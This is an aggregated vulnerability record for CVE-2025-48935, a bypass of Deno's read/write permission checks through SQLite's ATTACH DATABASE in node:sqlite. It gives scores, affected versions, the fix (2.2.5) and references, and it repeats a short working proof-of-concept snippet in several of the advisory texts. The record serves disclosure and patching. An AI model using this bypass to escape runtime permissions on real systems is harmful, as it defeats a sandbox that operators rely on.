{"id":"CVE-2025-48935","aliases":["EUVD-2025-16915","GHSA-8vxj-4cph-c596","RUSTSEC-2025-0138"],"status":"published","title":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00488,"percentile":0.4233,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2025-06-03T12:00:00Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["2.2.5"],"sources":["ghsa","osv"]},{"ecosystem":"crates.io","package":"deno_node","fixed_in":["0.134.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.5"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"deno_node","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.129.0"},{"fixed":"0.134.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.2.5"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno_node","ranges":[{"type":"SEMVER","events":[{"introduced":"0.129.0"},{"fixed":"0.134.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.2.5"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48935","tags":["advisory"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2025-0138.html","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-8vxj-4cph-c596"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/48xxx/CVE-2025-48935.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]},{"url":"https://crates.io/crates/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-48935","title":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.","status":"published","published":"2025-06-04T19:31:26.84Z","modified":"2025-06-04T20:41:22.848Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:32:41.41198Z"}],"euvd":[{"id":"EUVD-2025-16915","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.","status":"published","published":"2025-06-04T19:31:26Z","modified":"2025-06-04T20:41:22Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T20:32:29.680736Z"}],"ghsa":[{"id":"GHSA-8vxj-4cph-c596","title":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","description":"## Summary\n\nIt is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```","status":"published","published":"2025-06-04T21:22:27Z","modified":"2025-12-31T21:58:17Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:39:15.106458Z"}],"nvd":[{"id":"CVE-2025-48935","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.","status":"published","published":"2025-06-04T20:15:24.33Z","modified":"2026-06-17T09:30:30.72Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:11:10.8732Z"}],"osv":[{"id":"CVE-2025-48935","title":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.","status":"published","published":"2025-06-04T19:31:26.84Z","modified":"2026-10-28T02:31:10.678422143Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:44:50.037003Z"},{"id":"GHSA-8vxj-4cph-c596","title":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","description":"## Summary\n\nIt is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```","status":"published","published":"2025-06-04T21:22:27Z","modified":"2026-02-03T03:15:55.367476Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"RUSTSEC-2025-0138","title":"--allow-read / --allow-write permission bypass in `node:sqlite`","description":"It is possible to bypass Deno's read/write permission\nchecks by using ATTACH DATABASE statement.\n\n## PoC\n\n```\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```","status":"published","published":"2025-06-03T12:00:00Z","modified":"2026-10-12T18:00:13.056658752Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T15:53:40.430679Z"}]}}